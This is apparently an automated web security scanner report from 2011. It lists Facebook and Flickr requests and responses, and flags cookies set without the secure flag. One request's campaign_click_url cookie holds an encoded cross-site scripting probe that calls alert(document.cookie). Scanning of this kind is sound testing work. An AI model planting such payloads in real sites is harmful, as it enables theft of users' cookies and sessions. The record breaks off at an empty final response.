GET /7NEWS HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=aYRu9; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:40 GMT Content-Length: 174522
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /LIMEprpromo HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=Tpmq1; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:15:00 GMT Content-Length: 155797
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /abid.bahloul HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=6G7wO; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fabid.bahloul; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fabid.bahloul; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:15:02 GMT Content-Length: 15128
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /apps/application.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 302 Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Location: http://www.facebook.com/ P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=AGZLa; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:12 GMT Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /beirutcityguide HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=oJmQq; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:15:02 GMT Content-Length: 156507
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /campaign/impression.php?campaign_id=137675572948107&partner_id=www1.whdh.com&placement=like_button&extra_1=http%3A%2F%2Fwww1.whdh.com%2Fnews%2Farticles%2Flocal%2F12003359267921%2Fcommuter-rail-service-updates-for-jan-24%2F&extra_2=US HTTP/1.1 Host: www.facebook.com Proxy-Connection: keep-alive Referer: http://www.facebook.com/plugins/like.php?href=http://www1.whdh.com/news/articles/local/12003359267921/commuter-rail-service-updates-for-jan-24/&layout=standard&show-faces=true&width=450&action=recommend&colorscheme=light Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dla2day.com%26placement%3Dlike_box%26extra_1%3Dhttp%253A%252F%252Fwww.la2day.com%252Fcustom%252Fterm%252Fhealth_beauty9c672%252522%25253E%25253Cimg%252520src%25253da%252520onerror%25253dalert%2528document.cookie%2529%25253Ebcac4069246%252F576%26extra_2%3DUS; wd=300x250
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS; expires=Wed, 23-Feb-2011 21:55:22 GMT; path=/; domain=.facebook.com; httponly X-Cnection: close Date: Mon, 24 Jan 2011 21:55:22 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /campaign/landing.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 302 Found Location: http://www.facebook.com/ P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Set-Cookie: campaign_click_url=%2Fcampaign%2Flanding.php; expires=Thu, 24-Feb-2011 00:01:54 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:01:54 GMT Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /home.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=250x287; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 302 Found Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Location: http://www.facebook.com/login.php P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=isGBp; path=/; domain=.facebook.com Set-Cookie: next=http%3A%2F%2Fwww.facebook.com%2Fhome.php; path=/; domain=.facebook.com; httponly Set-Cookie: next_path=%2Fhome.php; path=/; domain=.facebook.com; httponly Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 13:14:57 GMT Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /miofeghali HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=eDdkX; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fmiofeghali; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fmiofeghali; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:26 GMT Content-Length: 15117
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pages/Traverse-City-MI/CloudAccessnet/116931806748 HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 301 Moved Permanently Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Location: http://www.facebook.com/pages/CloudAccessnet/116931806748 P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=Q5Jew; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:09 GMT Content-Length: 0
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /paty.kfoury HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=qOxUt; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fpaty.kfoury; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fpaty.kfoury; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:20 GMT Content-Length: 15074
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /profile.php?id=836605415 HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=1Nf86; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fprofile.php%3Fid%3D836605415; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fprofile.php%3Fid%3D836605415; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:00:20 GMT Content-Length: 15196
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /sharer.php HTTP/1.1 Host: www.facebook.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: datr=ac4nTYEA6yNv1vkgFgkPGkCj; wd=450x80; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dwww1.whdh.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww1.whdh.com%252Fnews%252Farticles%252Flocal%252F12003359267921%252Fcommuter-rail-service-updates-for-jan-24%252F%26extra_2%3DUS;
Response
HTTP/1.1 200 OK Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p" Pragma: no-cache Set-Cookie: lsd=2yleE; path=/; domain=.facebook.com Set-Cookie: reg_fb_gate=http%3A%2F%2Fwww.facebook.com%2Fsharer.php; path=/; domain=.facebook.com Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fsharer.php; path=/; domain=.facebook.com Set-Cookie: wd=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; domain=.facebook.com; httponly Content-Type: text/html; charset=utf-8 Connection: close Date: Tue, 25 Jan 2011 00:01:04 GMT Content-Length: 10902
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/aubalumni/4688630122/x22 HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Mon, 24 Jan 2011 16:16:26 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: BX=cvj761d6jr9eq&b=3&s=q9; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.flickr.com Set-Cookie: localization=en-us%3Bus%3Bus; expires=Thu, 23-Jan-2014 16:16:26 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Sun, 24-Jan-2010 16:16:25 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Sun, 24-Jan-2010 16:16:25 GMT; path=/; domain=flickr.com X-Served-By: www121.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/favoritltd/4795390303/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BX=e88ol6d6i4psk&b=3&s=vs; localization=en-us%3Bus%3Bus;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:12:12 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: localization=en-us%3Bus%3Bus; expires=Fri, 24-Jan-2014 13:12:12 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Mon, 25-Jan-2010 13:12:11 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Mon, 25-Jan-2010 13:12:11 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sat, 26-Mar-2011 13:12:12 GMT; path=/; domain=.flickr.com X-Served-By: www53.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 89342
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/favoritltd/4795390991/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BX=e88ol6d6i4psk&b=3&s=vs; localization=en-us%3Bus%3Bus;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:12:10 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: localization=en-us%3Bus%3Bus; expires=Fri, 24-Jan-2014 13:12:10 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Mon, 25-Jan-2010 13:12:09 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Mon, 25-Jan-2010 13:12:09 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sat, 26-Mar-2011 13:12:11 GMT; path=/; domain=.flickr.com X-Served-By: www57.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 88056
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/favoritltd/4795392149/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BX=e88ol6d6i4psk&b=3&s=vs; localization=en-us%3Bus%3Bus;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:11:48 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: localization=en-us%3Bus%3Bus; expires=Fri, 24-Jan-2014 13:11:48 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Mon, 25-Jan-2010 13:11:47 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Mon, 25-Jan-2010 13:11:47 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sat, 26-Mar-2011 13:11:48 GMT; path=/; domain=.flickr.com X-Served-By: www88.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 86022
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/favoritltd/4795392811/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BX=e88ol6d6i4psk&b=3&s=vs; localization=en-us%3Bus%3Bus;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:11:45 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: localization=en-us%3Bus%3Bus; expires=Fri, 24-Jan-2014 13:11:45 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Mon, 25-Jan-2010 13:11:44 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Mon, 25-Jan-2010 13:11:44 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sat, 26-Mar-2011 13:11:45 GMT; path=/; domain=.flickr.com X-Served-By: www30.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 83646
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/favoritltd/4796022554/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BX=e88ol6d6i4psk&b=3&s=vs; localization=en-us%3Bus%3Bus;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 13:12:29 GMT P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV" Set-Cookie: localization=en-us%3Bus%3Bus; expires=Fri, 24-Jan-2014 13:12:29 GMT; path=/; domain=.flickr.com Set-Cookie: cookie_l10n=deleted; expires=Mon, 25-Jan-2010 13:12:28 GMT; path=/; domain=flickr.com Set-Cookie: cookie_intl=deleted; expires=Mon, 25-Jan-2010 13:12:28 GMT; path=/; domain=flickr.com Set-Cookie: fldetectedlang=en-us; expires=Sat, 26-Mar-2011 13:12:29 GMT; path=/; domain=.flickr.com X-Served-By: www29.flickr.mud.yahoo.com Cache-Control: private Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 88059
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /photos/favoritltd/4796024690/ HTTP/1.1 Host: www.flickr.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BX=e88ol6d6i4psk&b=3&s=vs; localization=en-us%3Bus%3Bus;
Response
